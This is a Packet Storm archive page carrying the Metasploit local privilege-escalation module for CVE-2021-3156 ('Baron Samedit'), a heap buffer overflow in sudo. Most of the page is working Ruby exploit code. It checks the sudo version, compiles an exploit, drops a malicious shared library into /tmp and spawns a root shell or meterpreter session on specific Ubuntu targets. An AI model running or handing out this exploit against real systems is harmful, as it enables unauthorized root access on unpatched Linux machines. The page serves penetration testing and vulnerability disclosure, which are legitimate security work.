exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Sudo 1.8.31p2 / 1.9.5p1 Buffer Overflow

Sudo 1.8.31p2 / 1.9.5p1 Buffer Overflow
Posted Feb 5, 2021
Authored by Blasty, Spencer McIntyre, Qualys Security Advisory, bwatters-r7, Alexander Krog | Site metasploit.com

A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2 through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this implementation leverages the overflow to overwrite a service_user struct in memory to reference an attacker controlled library which results in it being loaded with the elevated privileges held by sudo.

tags | exploit, overflow, local
advisories | CVE-2021-3156
SHA-256 | cdf458fa2ff6a679afd1037bdb879758b301305b20f223b3aade629bb97b04bc

Sudo 1.8.31p2 / 1.9.5p1 Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Post::Unix
include Msf::Post::Linux::Compile
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Sudo Heap-Based Buffer Overflow',
'Description' => %q(
A heap based buffer overflow exists in the sudo command line utility that can be exploited by a local attacker
to gain elevated privileges. The vulnerability was introduced in July of 2011 and affects version 1.8.2
through 1.8.31p2 as well as 1.9.0 through 1.9.5p1 in their default configurations. The technique used by this
implementation leverages the overflow to overwrite a service_user struct in memory to reference an attacker
controlled library which results in it being loaded with the elevated privileges held by sudo.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Qualys', # vulnerability discovery and analysis
'Spencer McIntyre', # metasploit module
'bwatters-r7', # metasploit module
'blasty <blasty@fail0verflow.com>', # original PoC
'Alexander Krog' # detailed vulnerability analysis and exploit technique
],
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => ['unix', 'linux'],
'References' => [
['URL', 'https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit'],
['URL', 'https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt'],
['URL', 'https://www.kalmarunionen.dk/writeups/sudo/'],
['URL', 'https://github.com/blasty/CVE-2021-3156/blob/main/hax.c'],
['CVE', '2021-3156'],
],
'Targets' =>
[
[ 'Manual', { } ],
[ 'Ubuntu 20.04 x64 (sudo v1.8.31, libc v2.31)', { lengths: [ 56, 54, 63, 200 ] } ],
[ 'Ubuntu 18.04 x64 (sudo v1.8.21, libc v2.27)', { lengths: [ 56, 54, 63, 212 ] } ],
],
'DefaultTarget' => 1,
'Arch' => ARCH_X64,
'DefaultOptions' => { 'PrependSetgid' => true, 'PrependSetuid' => true, 'WfsDelay' => 10 },
'DisclosureDate' => '2021-01-26',
'Notes' => {
'AKA' => [ 'Baron Samedit' ],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options([
OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ])
])

register_advanced_options([
OptString.new('Lengths', [ false, 'The lengths to set as used by the manual target. (format: #,#,#,#)' ], regex: /(\d+(,[ ]*| )){3}\d+/)
])

deregister_options('COMPILE')
end

def get_versions
versions = {}
output = cmd_exec("sudo --version")
if output
version = output.split("\n").first.split(' ').last
versions[:sudo] = version if version =~ /^\d/
end

versions
end

def check
sudo_version = get_versions[:sudo]
return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.nil?

# fixup the p number used by sudo to be compatible with Gem::Version
sudo_version.gsub!(/p/, '.')

vuln_builds = [
[Gem::Version.new('1.8.2'), Gem::Version.new('1.8.31.2')],
[Gem::Version.new('1.9.0'), Gem::Version.new('1.9.5.1')],
]

if sudo_version == '1.8.31'
# Ubuntu patched it as version 1.8.31-1ubuntu1.2 which is reported as 1.8.31
return CheckCode::Detected("sudo #{sudo_version} maybe a vulnerable build.")
end

if vuln_builds.any? { |build_range| Gem::Version.new(sudo_version).between?(*build_range) }
return CheckCode::Appears("sudo #{sudo_version} is a vulnerable build.")
end

CheckCode::Safe("sudo #{sudo_version} is not a vulnerable build.")
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
end

def exploit
if target.name == 'Manual'
fail_with(Failure::BadConfig, 'The "Lengths" advanced option must be specified for the manual target') if datastore['Lengths'].blank?
arguments = datastore['Lengths'].gsub(/,/, ' ').gsub(/ +/, ' ')
else
arguments = target[:lengths].join(' ')
end

fail_with(Failure::NotFound, 'The gcc binary was not found') unless has_gcc?

path = datastore['WritableDir']
cmd_exec("mkdir -p #{path}/libnss_X")

file_name = rand_text_alphanumeric(5..10)
upload_and_compile("#{path}/#{file_name}", exploit_data('CVE-2021-3156', 'exploit.c'), '-lutil')
upload("#{path}/libnss_X/P0P_SH3LLZ_ .so.2", generate_payload_dll)
cmd_exec("#{path}/#{file_name} #{arguments}")
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close